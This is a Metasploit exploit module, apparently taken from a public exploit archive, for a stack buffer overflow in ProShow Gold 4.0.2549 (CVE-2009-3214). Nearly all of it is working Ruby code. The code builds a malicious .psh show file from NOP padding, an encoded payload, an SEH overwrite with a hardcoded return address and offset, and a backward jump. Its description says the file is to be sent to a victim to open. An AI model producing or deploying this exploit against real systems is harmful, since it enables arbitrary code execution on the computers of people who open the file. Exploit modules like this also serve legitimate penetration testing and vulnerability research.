ProShow Gold 4.0.2549 – ‘.psh’ Local Stack Buffer Overflow (Metasploit)
## # $Id: proshow_cellimage_bof.rb 10477 2010-09-25 11:59:02Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'ProShow Gold v4.0.2549 (PSH File) Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in ProShow Gold v4.0.2549. An attacker must send the file to victim and the victim must open the file. }, 'License' => MSF_LICENSE, 'Author' => [ 'jduck' ], 'Version' => '$Revision: 10477 $', 'References' => [ [ 'CVE', '2009-3214' ], [ 'OSVDB', '57226' ], [ 'URL', 'http://www.exploit-db.com/exploits/9483' ], [ 'URL', 'http://www.exploit-db.com/exploits/9519' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x0a\x0d", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ # 0x01a614ea # p/p/r @ all.dnt [ 'Windows Universal', { 'Offset' => 4036, 'Ret' => 0x101a4cf9 } ], # p/p/r if.dnt ], 'Privileged' => false, 'DisclosureDate' => 'Aug 20 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.psh']), ], self.class) end def exploit sploit = make_nops(target['Offset'] - 4 - payload.encoded.length) sploit << payload.encoded sploit << generate_seh_record(target.ret) # note, just in case the arguments get modified, we'll jump back into our buffer... sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + target['Offset'].to_s).encode_string # cause exception hitting the end of the stack sploit << rand_text(1000) * 13 content = "Photodex(R) ProShow(TM) Show File Version=0\r\n" content << "cells=1\r\n" content << "cell[0].nrOfImages=1\r\n" content << "cell[0].images[0].image=" << sploit << "\r\n" print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(content) end end |